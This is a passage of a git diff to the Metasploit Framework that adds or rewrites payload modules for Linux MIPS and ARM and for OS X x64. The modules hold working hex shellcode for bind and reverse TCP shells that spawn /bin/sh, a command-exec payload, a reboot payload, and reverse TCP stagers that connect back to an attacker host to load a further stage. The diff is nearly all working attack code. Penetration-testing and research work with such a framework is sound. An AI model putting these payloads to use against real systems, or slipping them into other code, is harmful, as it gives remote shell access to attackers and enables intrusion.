+    "\x24\x05\x01\x01" + #     li      a1,257
+    "\x24\x02\x10\x4e" + #     li      v0,4174 ( __NR_listen )
+    "\x01\x01\x01\x0c" + #     syscall
+
+    # accept(3, 0, NULL) = 4
+    "\x02\x10\x20\x25" + #     or      a0,s0,s0
+    "\x28\x05\xff\xff" + #     slti    a1,zero,-1
+    "\x28\x06\xff\xff" + #     slti    a2,zero,-1
+    "\x24\x02\x10\x48" + #     li      v0,4168 ( __NR_accept )
+    "\x01\x01\x01\x0c" + #     syscall
+
+    # dup2(4, 2) = 2
+    # dup2(4, 1) = 1
+    # dup2(4, 0) = 0
+    "\xaf\xa2\xff\xff" + #     sw v0,-1(sp) # socket
+    "\x24\x11\xff\xfd" + #     li s1,-3
+    "\x02\x20\x88\x27" + #     nor s1,s1,zero
+    "\x8f\xa4\xff\xff" + #     lw a0,-1(sp)
+    "\x02\x20\x28\x21" + #     move a1,s1 # dup2_loop
+    "\x24\x02\x0f\xdf" + #     li v0,4063 ( __NR_dup2 )
+    "\x01\x01\x01\x0c" + #     syscall 0x40404
+    "\x24\x10\xff\xff" + #     li s0,-1
+    "\x22\x31\xff\xff" + #     addi s1,s1,-1
+    "\x16\x30\xff\xfa" + #     bne s1,s0 <dup2_loop>
+
+    # execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
+    "\x28\x06\xff\xff" + #     slti a2,zero,-1
+    "\x3c\x0f\x2f\x2f" + #     lui t7,0x2f2f "//"
+    "\x35\xef\x62\x69" + #     ori t7,t7,0x6269 "bi"
+    "\xaf\xaf\xff\xec" + #     sw t7,-20(sp)
+    "\x3c\x0e\x6e\x2f" + #     lui t6,0x6e2f "n/"
+    "\x35\xce\x73\x68" + #     ori t6,t6,0x7368 "sh"
+    "\xaf\xae\xff\xf0" + #     sw t6,-16(sp)
+    "\xaf\xa0\xff\xf4" + #     sw zero,-12(sp)
+    "\x27\xa4\xff\xec" + #     addiu a0,sp,-20
+    "\xaf\xa4\xff\xf8" + #     sw a0,-8(sp)
+    "\xaf\xa0\xff\xfc" + #     sw zero,-4(sp)
+    "\x27\xa5\xff\xf8" + #     addiu a1,sp,-8
+    "\x24\x02\x0f\xab" + #     li v0,4011 ( __NR_execve )
+    "\x01\x01\x01\x0c"   #     syscall 0x40404
+
+    return super + shellcode
+  end
+
+end
diff --git a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb
index 23560a67a3..63de7b66c9 100644
--- a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb
@@ -88,15 +88,15 @@ module Metasploit3
       # sys_dup2
       # a0: oldfd (socket)
       # a1: newfd (0, 1, 2)
-      "\x24\x0f\xff\xfd" + # li t7,-3
-      "\x01\xe0\x78\x27" + # nor t7,t7,zero
+      "\x24\x11\xff\xfd" + # li s1,-3
+      "\x02\x20\x88\x27" + # nor s1,s1,zero
       "\x8f\xa4\xff\xff" + # lw a0,-1(sp)
-      "\x01\xe0\x28\x21" + # move a1,t7
+      "\x02\x20\x28\x21" + # move a1,s1 # dup2_loop
       "\x24\x02\x0f\xdf" + # li v0,4063 # sys_dup2
       "\x01\x01\x01\x0c" + # syscall 0x40404
       "\x24\x10\xff\xff" + # li s0,-1
-      "\x21\xef\xff\xff" + # addi t7,t7,-1
-      "\x15\xf0\xff\xfa" + # bne t7,s0,68 <dup2_loop>
+      "\x22\x31\xff\xff" + # addi s1,s1,-1
+      "\x16\x30\xff\xfa" + # bne s1,s0,68 <dup2_loop>
 
       # sys_execve
       # a0: filename (stored on the stack) "//bin/sh"
diff --git a/modules/payloads/singles/linux/mipsle/exec.rb b/modules/payloads/singles/linux/mipsle/exec.rb
new file mode 100644
index 0000000000..b71feda883
--- /dev/null
+++ b/modules/payloads/singles/linux/mipsle/exec.rb
@@ -0,0 +1,74 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+module Metasploit3
+
+  include Msf::Payload::Single
+  include Msf::Payload::Linux
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Linux Execute Command',
+      'Description'   => %q{
+        A very small shellcode for executing commands.
+        This module is sometimes helpful for testing purposes as well as
+        on targets with extremely limited buffer space.
+         },
+      'Author'        =>
+        [
+          'Michael Messner <devnull@s3cur1ty.de>', #metasploit payload
+          'entropy@phiral.net'  #original payload
+        ],
+      'References'    =>
+        [
+          ['EDB', '17940']
+        ],
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'linux',
+      'Arch'          => ARCH_MIPSLE,
+      'Payload'       =>
+        {
+          'Offsets' => {} ,
+          'Payload' => ''
+        })
+    )
+    register_options(
+      [
+        OptString.new('CMD', [ true, "The command string to execute" ]),
+      ], self.class)
+  end
+
+  #
+  # Returns the command string to use for execution
+  #
+  def command_string
+    return datastore['CMD'] || ''
+  end
+
+  def generate
+
+    shellcode =
+      "\x66\x06\x06\x24" + # li a2,1638
+      "\xff\xff\xd0\x04" + # bltzal a2,4100b4
+      "\xff\xff\x06\x28" + # slti a2,zero,-1
+      "\xe0\xff\xbd\x27" + # addiu sp,sp,-32
+      "\x01\x10\xe4\x27" + # addiu a0,ra,4097
+      "\x1f\xf0\x84\x24" + # addiu a0,a0,-4065
+      "\xe8\xff\xa4\xaf" + # sw a0,-24(sp)
+      "\xec\xff\xa0\xaf" + # sw zero,-20(sp)
+      "\xe8\xff\xa5\x27" + # addiu a1,sp,-24
+      "\xab\x0f\x02\x24" + # li v0,4011
+      "\x0c\x01\x01\x01"   # + syscall 0x40404
+
+    #
+    # Constructs the payload
+    #
+    return super + shellcode + command_string + "\x00"
+
+  end
+
+end
diff --git a/modules/payloads/singles/linux/mipsle/reboot.rb b/modules/payloads/singles/linux/mipsle/reboot.rb
new file mode 100644
index 0000000000..5bc3f12904
--- /dev/null
+++ b/modules/payloads/singles/linux/mipsle/reboot.rb
@@ -0,0 +1,54 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+module Metasploit3
+
+  include Msf::Payload::Single
+  include Msf::Payload::Linux
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Linux Reboot',
+      'Description'   => %q{
+            A very small shellcode for rebooting the system.
+            This payload is sometimes helpful for testing purposes.
+         },
+      'Author'        =>
+        [
+          'Michael Messner <devnull@s3cur1ty.de>', #metasploit payload
+          'rigan - <imrigan@gmail.com>'  #original payload
+        ],
+      'References'    =>
+        [
+          ['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php']
+        ],
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'linux',
+      'Arch'          => ARCH_MIPSLE,
+      'Payload'       =>
+        {
+          'Offsets' => {} ,
+          'Payload' => ''
+        })
+    )
+  end
+
+  def generate
+    shellcode =
+      "\x21\x43\x06\x3c" +  # lui     a2,0x4321
+      "\xdc\xfe\xc6\x34" +  # ori     a2,a2,0xfedc
+      "\x12\x28\x05\x3c" +  # lui     a1,0x2812
+      "\x69\x19\xa5\x34" +  # ori     a1,a1,0x1969
+      "\xe1\xfe\x04\x3c" +  # lui     a0,0xfee1
+      "\xad\xde\x84\x34" +  # ori     a0,a0,0xdead
+      "\xf8\x0f\x02\x24" +  # li      v0,4088
+      "\x0c\x01\x01\x01"    # syscall 0x40404
+
+    return super + shellcode
+  end
+
+end
diff --git a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb
index f7547da692..b3923af52e 100644
--- a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb
+++ b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb
@@ -18,7 +18,13 @@ module Metasploit3
     super(merge_info(info,
       'Name'          => 'Linux Command Shell, Bind TCP Inline',
       'Description'   => 'Listen for a connection and spawn a command shell',
-      'Author'        => 'Vlatko Kosturjak',
+      'Author'        =>
+        [
+          'scut',             # Original mips-irix-portshell shellcode
+          'vaicebine',        # Original shellcode mod
+          'Vlatko Kosturjak', # Metasploit module
+          'juan vazquez'      # Small fixes and optimizations
+        ],
       'License'       => MSF_LICENSE,
       'Platform'      => 'linux',
       'Arch'          => ARCH_MIPSLE,
@@ -40,8 +46,6 @@ module Metasploit3
     port = Integer(datastore['LPORT'])
     port = [port].pack("n").unpack("cc");
 
-    # based on vaicebine at gmail dot com shellcode
-    # and scut paper Writing MIPS/Irix shellcode
     shellcode =
     "\xe0\xff\xbd\x27" + #     addiu   sp,sp,-32
     "\xfd\xff\x0e\x24" + #     li      t6,-3
@@ -50,15 +54,15 @@ module Metasploit3
     "\xff\xff\x06\x28" + #     slti    a2,zero,-1
     "\x57\x10\x02\x24" + #     li      v0,4183 ( __NR_socket )
     "\x0c\x01\x01\x01" + #     syscall
-    "\x50\x73\x0f\x24" + #     li      t7,0x7350 (nop)
+
     "\xff\xff\x50\x30" + #     andi    s0,v0,0xffff
-    "\xef\xff\x0e\x24" + #     li      t6,-17
-    "\x27\x70\xc0\x01" + #     nor     t6,t6,zero
-    port.pack("C2") + "\x0d\x24" +  #     li      t5,0xFFFF (port)
-    "\x04\x68\xcd\x01" + #     sllv    t5,t5,t6
-    "\xff\xfd\x0e\x24" + #     li      t6,-513
-    "\x27\x70\xc0\x01" + #     nor     t6,t6,zero
-    "\x25\x68\xae\x01" + #     or      t5,t5,t6
+    "\xef\xff\x0e\x24" + #     li      t6,-17                        ; t6: 0xffffffef
+    "\x27\x70\xc0\x01" + #     nor     t6,t6,zero                    ; t6: 0x10 (16)
+    port.pack("C2") + "\x0d\x24" +  #     li      t5,0xFFFF (port)   ; t5: 0x5c11 (0x115c == 4444 (default LPORT))
+    "\x04\x68\xcd\x01" + #     sllv    t5,t5,t6                      ; t5: 0x5c110000
+    "\xfd\xff\x0e\x24" + #     li      t6,-3                         ; t6: -3
+    "\x27\x70\xc0\x01" + #     nor     t6,t6,zero                    ; t6: 0x2
+    "\x25\x68\xae\x01" + #     or      t5,t5,t6                      ; t5: 0x5c110002
     "\xe0\xff\xad\xaf" + #     sw      t5,-32(sp)
     "\xe4\xff\xa0\xaf" + #     sw      zero,-28(sp)
     "\xe8\xff\xa0\xaf" + #     sw      zero,-24(sp)
@@ -69,53 +73,45 @@ module Metasploit3
     "\xe0\xff\xa5\x23" + #     addi    a1,sp,-32
     "\x49\x10\x02\x24" + #     li      v0,4169 ( __NR_bind )A
     "\x0c\x01\x01\x01" + #     syscall
-    "\x50\x73\x0f\x24" + #     li      t7,0x7350 (nop)
+
     "\x25\x20\x10\x02" + #     or      a0,s0,s0
     "\x01\x01\x05\x24" + #     li      a1,257
     "\x4e\x10\x02\x24" + #     li      v0,4174 ( __NR_listen )
     "\x0c\x01\x01\x01" + #     syscall
-    "\x50\x73\x0f\x24" + #     li      t7,0x7350 (nop)
+
     "\x25\x20\x10\x02" + #     or      a0,s0,s0
     "\xff\xff\x05\x28" + #     slti    a1,zero,-1
     "\xff\xff\x06\x28" + #     slti    a2,zero,-1
     "\x48\x10\x02\x24" + #     li      v0,4168 ( __NR_accept )
     "\x0c\x01\x01\x01" + #     syscall
-    "\x50\x73\x0f\x24" + #     li      t7,0x7350 (nop)
-    "\xff\xff\x50\x30" + #     andi    s0,v0,0xffff
-    "\x25\x20\x10\x02" + #     or      a0,s0,s0
-    "\xfd\xff\x0f\x24" + #     li      t7,-3
-    "\x27\x28\xe0\x01" + #     nor     a1,t7,zero
-    "\xdf\x0f\x02\x24" + #     li      v0,4063 ( __NR_dup2 )
-    "\x0c\x01\x01\x01" + #     syscall
-    "\x50\x73\x0f\x24" + #     li      t7,0x7350 (nop)
-    "\x25\x20\x10\x02" + #     or      a0,s0,s0
-    "\x01\x01\x05\x28" + #     slti    a1,zero,0x0101
-    "\xdf\x0f\x02\x24" + #     li      v0,4063 ( __NR_dup2 )
-    "\x0c\x01\x01\x01" + #     syscall
-    "\x50\x73\x0f\x24" + #     li      t7,0x7350 (nop)
-    "\x25\x20\x10\x02" + #     or      a0,s0,s0
-    "\xff\xff\x05\x28" + #     slti    a1,zero,-1
-    "\xdf\x0f\x02\x24" + #     li      v0,4063 ( __NR_dup2 )
-    "\x0c\x01\x01\x01" + #     syscall
-    "\x50\x73\x0f\x24" + #     li      t7,0x7350 (nop)
-    "\x50\x73\x06\x24" + #     li      a2,0x7350
-    "\xff\xff\xd0\x04" + # LB: bltzal  a2,LB
-    "\x50\x73\x0f\x24" + #     li      t7,0x7350 (nop)
-    "\xff\xff\x06\x28" + #     slti    a2,zero,-1
-    "\xc7\xff\x0f\x24" + #     li      t7,-57
-    "\x27\x78\xe0\x01" + #     nor     t7,t7,zero
-    "\x21\x20\xef\x03" + #     addu    a0,ra,t7
-    "\xf0\xff\xa4\xaf" + #     sw      a0,-16(sp)
-    "\xf4\xff\xa0\xaf" + #     sw      zero,-12(sp)
-    "\xf7\xff\x0e\x24" + #     li      t6,-9
-    "\x27\x70\xc0\x01" + #     nor     t6,t6,zero
-    "\x21\x60\xef\x03" + #     addu    t4,ra,t7
-    "\x21\x68\x8e\x01" + #     addu    t5,t4,t6
-    "\xff\xff\xa0\xad" + #     sw      zero,-1(t5)
-    "\xf0\xff\xa5\x23" + #     addi    a1,sp,-16
-    "\xab\x0f\x02\x24" + #     li      v0,4011 ( __NR_execve )
-    "\x0c\x01\x01\x01" + #     syscall
-    "/bin/sh"
+
+    "\xff\xff\xa2\xaf" + #     sw v0,-1(sp) # socket
+    "\xfd\xff\x11\x24" + #     li s1,-3
+    "\x27\x88\x20\x02" + #     nor s1,s1,zero
+    "\xff\xff\xa4\x8f" + #     lw a0,-1(sp)
+    "\x21\x28\x20\x02" + #     move a1,s1 # dup2_loop
+    "\xdf\x0f\x02\x24" + #     li v0,4063 ( __NR_dup2 )
+    "\x0c\x01\x01\x01" + #     syscall 0x40404
+    "\xff\xff\x10\x24" + #     li s0,-1
+    "\xff\xff\x31\x22" + #     addi s1,s1,-1
+    "\xfa\xff\x30\x16" + #     bne s1,s0 <dup2_loop>
+
+    "\xff\xff\x06\x28" + #     slti a2,zero,-1
+    "\x62\x69\x0f\x3c" + #     lui t7,0x2f2f "bi"
+    "\x2f\x2f\xef\x35" + #     ori t7,t7,0x6269 "//"
+    "\xec\xff\xaf\xaf" + #     sw t7,-20(sp)
+    "\x73\x68\x0e\x3c" + #     lui t6,0x6e2f "sh"
+    "\x6e\x2f\xce\x35" + #     ori t6,t6,0x7368 "n/"
+    "\xf0\xff\xae\xaf" + #     sw t6,-16(sp)
+    "\xf4\xff\xa0\xaf" + #     sw zero,-12(sp)
+    "\xec\xff\xa4\x27" + #     addiu a0,sp,-20
+    "\xf8\xff\xa4\xaf" + #     sw a0,-8(sp)
+    "\xfc\xff\xa0\xaf" + #     sw zero,-4(sp)
+    "\xf8\xff\xa5\x27" + #     addiu a1,sp,-8
+    "\xab\x0f\x02\x24" + #     li v0,4011 ( __NR_execve )
+    "\x0c\x01\x01\x01"   #     syscall 0x40404
+
+    return super + shellcode
   end
 
 end
diff --git a/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb
index d69ec65072..08223e2b74 100644
--- a/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb
@@ -3,9 +3,6 @@
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-# Written in a hurry using shellforge and my MIPS shellforge loader (avail. on cr0.org)
-# + Few removals of unneccessary zero bytes by kost
-
 require 'msf/core'
 require 'msf/core/handler/reverse_tcp'
 require 'msf/base/sessions/command_shell'
@@ -21,7 +18,11 @@ module Metasploit3
     super(merge_info(info,
       'Name'          => 'Linux Command Shell, Reverse TCP Inline',
       'Description'   => 'Connect back to attacker and spawn a command shell',
-      'Author'        => 'Julien Tinnes',
+      'Author'        =>
+        [
+          'rigan <imrigan[at]gmail.com>', # Original (mipsbe) shellcode
+          'juan vazquez' # Metasploit module
+        ],
       'License'       => MSF_LICENSE,
       'Platform'      => 'linux',
       'Arch'          => ARCH_MIPSLE,
@@ -47,74 +48,72 @@ module Metasploit3
     port = [port].pack("n").unpack("cc")
 
     shellcode =
-      "\xef\xff\x09\x24" +                  # li	t1,-17
-      "\xff\xff\x10\x05" +                  # bltzal	t0,0x4
-      "\x82\x82\x08\x28" +                  # slti	t0,zero,-32126
-      "\x27\x48\x20\x01" +                  # nor	t1,t1,zero
-      "\x21\xc8\x3f\x01" +                  # addu	t9,t1,ra
-      "\x48\x85\xb9\xaf" +                  # sw	t9,-31416(sp)
-      "\x48\x85\xb9\x23" +                  # addi	t9,sp,-31416
-      "\x00\x00\x1c\x3c" +                  # lui	gp,0x0
-      "\x00\x00\x9c\x27" +                  # addiu	gp,gp,0
-      "\x21\xe0\x99\x03" +                  # addu	gp,gp,t9
-      "\x00\x00\x89\x8f" +                  # lw	t1,0(gp)
-      "\xd8\xff\xbd\x27" +                  # addiu	sp,sp,-40
-      "\xe8\x00\x2a\x25" +                  # addiu	t2,t1,232
-      "\x04\x00\x47\x8d" +                  # lw	a3,4(t2)
-      "\xe8\x00\x28\x8d" +                  # lw	t0,232(t1)
-      host[2..3].pack("C2") + "\x04\x3c" +  # lui	a0,0x901
-      host[0..1].pack("C2") + "\x83\x34" +  # ori	v1,a0,0xa8c0
-      "\x18\x00\xb9\x27" +                  # addiu	t9,sp,24
-      "\x02\x00\x06\x24" +                  # li	a2,2
-      port.pack("C2") + "\x05\x24" +        # li	a1,9746
-      "\x08\x00\xa6\xa7" +                  # sh	a2,8(sp)
-      "\x0a\x00\xa5\xa7" +                  # sh	a1,10(sp)
-      "\x18\x00\xa8\xaf" +                  # sw	t0,24(sp)
-      "\x1c\x00\xa7\xaf" +                  # sw	a3,28(sp)
-      "\x0c\x00\xa3\xaf" +                  # sw	v1,12(sp)
-      "\x20\x00\xb9\xaf" +                  # sw	t9,32(sp)
-      "\x24\x00\xa0\xaf" +                  # sw	zero,36(sp)
-      "\x02\x00\x04\x24" +                  # li	a0,2
-      "\x02\x00\x05\x24" +                  # li	a1,2
-      "\x21\x30\x00\x00" +                  # move	a2,zero
-      "\x57\x10\x02\x24" +                  # li	v0,4183
-      "\x0c\x01\x01\x01" +                  # syscall
-      "\x21\x18\x40\x00" +                  # move	v1,v0
-      "\xff\xff\x02\x24" +                  # li	v0,-1
-      "\x1a\x00\x62\x10" +                  # beq	v1,v0,0xf4
-      "\x01\x00\x04\x24" +                  # li	a0,1
-      "\x21\x20\x60\x00" +                  # move	a0,v1
-      "\x08\x00\xa5\x27" +                  # addiu	a1,sp,8
-      "\x10\x00\x06\x24" +                  # li	a2,16
-      "\x4a\x10\x02\x24" +                  # li	v0,4170
-      "\x0c\x01\x01\x01" +                  # syscall
-      "\x0e\x00\x40\x14" +                  # bnez	v0,0xe0
-      "\x21\x28\x00\x00" +                  # move	a1,zero
-      "\xdf\x0f\x02\x24" +                  # li	v0,4063
-      "\x0c\x01\x01\x01" +                  # syscall
-      "\x01\x00\x05\x24" +                  # li	a1,1
-      "\xdf\x0f\x02\x24" +                  # li	v0,4063
-      "\x0c\x01\x01\x01" +                  # syscall
-      "\x02\x00\x05\x24" +                  # li	a1,2
-      "\xdf\x0f\x02\x24" +                  # li	v0,4063
-      "\x0c\x01\x01\x01" +                  # syscall
-      "\x21\x30\x00\x00" +                  # move	a2,zero
-      "\x21\x20\x20\x03" +                  # move	a0,t9
-      "\x20\x00\xa5\x27" +                  # addiu	a1,sp,32
-      "\xab\x0f\x02\x24" +                  # li	v0,4011
-      "\x0c\x01\x01\x01" +                  # syscall
-      "\x21\x20\x00\x00" +                  # move	a0,zero
-      "\xa1\x0f\x02\x24" +                  # li	v0,4001
-      "\x0c\x01\x01\x01" +                  # syscall
-      "\x08\x00\xe0\x03" +                  # jr	ra
-      "\x28\x00\xbd\x27" +                  # addiu	sp,sp,40
-      "\xa1\x0f\x02\x24" +                  # li	v0,4001
-      "\x0c\x01\x01\x01" +                  # syscall
-      "\xe5\xff\x00\x10" +                  # b	0x94
-      "\x21\x20\x60\x00" +                  # move	a0,v1
-      "\x2f\x62\x69\x6e" +                  # "/bin"
-      "\x2f\x73\x68\x00" +                  # "/sh\x00"
-      "0"*80
+      # sys_socket
+      # a0: domain
+      # a1: type
+      # a2: protocol
+      "\xfa\xff\x0f\x24" + # li t7,-6
+      "\x27\x78\xe0\x01" + # nor t7,t7,zero
+      "\xfd\xff\xe4\x21" + # addi a0,t7,-3
+      "\xfd\xff\xe5\x21" + # addi a1,t7,-3
+      "\xff\xff\x06\x28" + # slti a2,zero,-1
+      "\x57\x10\x02\x24" + # li v0,4183 # sys_socket
+      "\x0c\x01\x01\x01" + # syscall 0x40404
+
+      # sys_connect
+      # a0: sockfd (stored on the stack)
+      # a1: addr (data stored on the stack)
+      # a2: addrlen
+      "\xff\xff\xa2\xaf" + # sw v0,-1(sp)
+      "\xff\xff\xa4\x8f" + # lw a0,-1(sp)
+      "\xfd\xff\x0f\x34" + # li t7,0xfffd
+      "\x27\x78\xe0\x01" + # nor t7,t7,zero
+      "\xe2\xff\xaf\xaf" + # sw t7,-30(sp)
+      port.pack("C2") + "\x0e\x3c" + # lui t6,0x1f90
+      port.pack("C2") + "\xce\x35" + # ori t6,t6,0x1f90
+      "\xe4\xff\xae\xaf" + # sw t6,-28(sp)
+      host[2..3].pack("C2") + "\x0e\x3c" + # lui t6,0x7f01
+      host[0..1].pack("C2") + "\xce\x35" +# ori t6,t6,0x101
+      "\xe6\xff\xae\xaf" + # sw t6,-26(sp)
+      "\xe2\xff\xa5\x27" + # addiu a1,sp,-30
+      "\xef\xff\x0c\x24" + # li t4,-17
+      "\x27\x30\x80\x01" + # nor a2,t4,zero
+      "\x4a\x10\x02\x24" + # li v0,4170  # sys_connect
+      "\x0c\x01\x01\x01" + # syscall 0x40404
+
+      # sys_dup2
+      # a0: oldfd (socket)
+      # a1: newfd (0, 1, 2)
+      "\xfd\xff\x11\x24" + # li s1,-3
+      "\x27\x88\x20\x02" + # nor s1,s1,zero
+      "\xff\xff\xa4\x8f" + # lw a0,-1(sp)
+      "\x21\x28\x20\x02" + # move a1,s1 # dup2_loop
+      "\xdf\x0f\x02\x24" + # li v0,4063 # sys_dup2
+      "\x0c\x01\x01\x01" + # syscall 0x40404
+      "\xff\xff\x10\x24" + # li s0,-1
+      "\xff\xff\x31\x22" + # addi s1,s1,-1
+      "\xfa\xff\x30\x16" + # bne s1,s0,68 <dup2_loop>
+
+      # sys_execve
+      # a0: filename (stored on the stack) "//bin/sh"
+      # a1: argv "//bin/sh"
+      # a2: envp (null)
+      "\xff\xff\x06\x28" + # slti a2,zero,-1
+      "\x62\x69\x0f\x3c" + # lui t7,0x2f2f "bi"
+      "\x2f\x2f\xef\x35" + # ori t7,t7,0x6269 "//"
+      "\xec\xff\xaf\xaf" + # sw t7,-20(sp)
+      "\x73\x68\x0e\x3c" + # lui t6,0x6e2f "sh"
+      "\x6e\x2f\xce\x35" + # ori t6,t6,0x7368 "n/"
+      "\xf0\xff\xae\xaf" + # sw t6,-16(sp)
+      "\xf4\xff\xa0\xaf" + # sw zero,-12(sp)
+      "\xec\xff\xa4\x27" + # addiu a0,sp,-20
+      "\xf8\xff\xa4\xaf" + # sw a0,-8(sp)
+      "\xfc\xff\xa0\xaf" + # sw zero,-4(sp)
+      "\xf8\xff\xa5\x27" + # addiu a1,sp,-8
+      "\xab\x0f\x02\x24" + # li v0,4011 # sys_execve
+      "\x0c\x01\x01\x01"  # syscall 0x40404
+
+    return super + shellcode
   end
 
 end
diff --git a/modules/payloads/singles/osx/x64/exec.rb b/modules/payloads/singles/osx/x64/exec.rb
index 0f98c8576d..127ba4fef7 100644
--- a/modules/payloads/singles/osx/x64/exec.rb
+++ b/modules/payloads/singles/osx/x64/exec.rb
@@ -36,13 +36,13 @@ module Metasploit3
     arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
     call = "\xe8" + [arg_str.length].pack('V')
     payload =
-      "\x48\x31\xc0" +                                # xor rax, rax
+      "\x48\x31\xd2"+                                 # xor rdx, rdx
       call +                                          # call CMD.len
       arg_str  +                                      # CMD
       "\x5f" +                                        # pop rdi
       if cmd_parts.length > 1
         "\x48\x89\xf9" +                            # mov rcx, rdi
-        "\x50" +                                    # push null
+        "\x52" +                                    # push rdx (null)
         # for each arg, push its current memory location on to the stack
         cmd_parts[1..-1].each_with_index.map do |arg, idx|
           "\x48\x81\xc1" +                        # add rcx + ...
@@ -50,7 +50,7 @@ module Metasploit3
           "\x51"                                  # push rcx (build str array)
         end.join
       else
-        "\x50"                                      # push null
+        "\x52"                                      # push rdx (null)
       end +
       "\x57"+                                         # push rdi
       "\x48\x89\xe6"+	                                # mov rsi, rsp
diff --git a/modules/payloads/stagers/linux/armle/bind_tcp.rb b/modules/payloads/stagers/linux/armle/bind_tcp.rb
index ef0c502c48..763a20a329 100644
--- a/modules/payloads/stagers/linux/armle/bind_tcp.rb
+++ b/modules/payloads/stagers/linux/armle/bind_tcp.rb
@@ -33,7 +33,7 @@ module Metasploit3
         {
           'Offsets' =>
             {
-              'LPORT' => [ 226, 'n'    ],
+              'LPORT' => [ 214, 'n'    ],
             },
           'Payload' =>
           [
@@ -110,8 +110,6 @@ module Metasploit3
     # Transmit our intermediate stager
     conn.put( [ payload.length ].pack(address_format) )
 
-    Rex::ThreadSafe.sleep(0.5)
-
     return true
   end
 
diff --git a/modules/payloads/stagers/linux/armle/reverse_tcp.rb b/modules/payloads/stagers/linux/armle/reverse_tcp.rb
index 3fa9a6db90..0a1467c765 100644
--- a/modules/payloads/stagers/linux/armle/reverse_tcp.rb
+++ b/modules/payloads/stagers/linux/armle/reverse_tcp.rb
@@ -103,8 +103,6 @@ def handle_intermediate_stage(conn, payload)
     # Transmit our intermediate stager
     conn.put( [ payload.length ].pack(address_format) )
 
-    Rex::ThreadSafe.sleep(0.5)
-
     return true
   end
 
diff --git a/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb b/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb
new file mode 100644
index 0000000000..4dd0c08440
--- /dev/null
+++ b/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb
@@ -0,0 +1,56 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp'
+
+
+module Metasploit3
+
+  include Msf::Payload::Stager
+  include Msf::Payload::Linux
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Reverse TCP Stager',
+      'Description'   => 'Connect back to the attacker',
+      'Author'        =>
+        [
+          'juan vazquez'
+        ],
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'linux',
+      'Arch'          => ARCH_MIPSBE,
+      'Handler'       => Msf::Handler::ReverseTcp,
+      'Stager'        =>
+        {
+          'Offsets' =>
+            {
+              'LHOST' => [ [58, 62], 'ADDR16MSB' ],
+              'LPORT' => [ 50, 'n'    ],
+            },
+          'Payload' =>
+            "\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5" +
+            "\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c" +
+            "\xaf\xa2\xff\xfc\x8f\xa4\xff\xfc\x24\x0f\xff\xfd\x01\xe0" +
+            "\x78\x27\xaf\xaf\xff\xe0\x3c\x0e\x11\x5c\xaf\xae\xff\xe4" +
+            "\x3c\x0e\x7f\x00\x35\xce\x00\x01\xaf\xae\xff\xe6\x27\xa5" +
+            "\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a" +
+            "\x01\x01\x01\x0c\x24\x04\xff\xff\x24\x05\x10\x01\x20\xa5" +
+            "\xff\xff\x24\x09\xff\xf8\x01\x20\x48\x27\x01\x20\x30\x20" +
+            "\x24\x07\x08\x02\x24\x0b\xff\xea\x01\x60\x58\x27\x03\xab" +
+            "\x58\x20\xad\x60\xff\xff\xad\x62\xff\xfb\x24\x02\x0f\xfa" +
+            "\x01\x01\x01\x0c\xaf\xa2\xff\xf8\x8f\xa4\xff\xfc\x8f\xa5" +
+            "\xff\xf8\x24\x06\x10\x01\x20\xc6\xff\xff\x24\x02\x0f\xa3" +
+            "\x01\x01\x01\x0c\x8f\xa4\xff\xf8\x00\x40\x28\x20\x24\x09" +
+            "\xff\xfd\x01\x20\x48\x27\x01\x20\x30\x20\x24\x02\x10\x33" +
+            "\x01\x01\x01\x0c\x8f\xb1\xff\xf8\x8f\xb2\xff\xfc\x02\x20" +
+            "\xf8\x09"
+        }
+      ))
+  end
+
+end
diff --git a/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb b/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb
new file mode 100644
index 0000000000..9b123da4bb
--- /dev/null
+++ b/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb
@@ -0,0 +1,56 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp'
+
+
+module Metasploit3
+
+  include Msf::Payload::Stager
+  include Msf::Payload::Linux
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Reverse TCP Stager',
+      'Description'   => 'Connect back to the attacker',
+      'Author'        =>
+        [
+          'juan vazquez'
+        ],
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'linux',
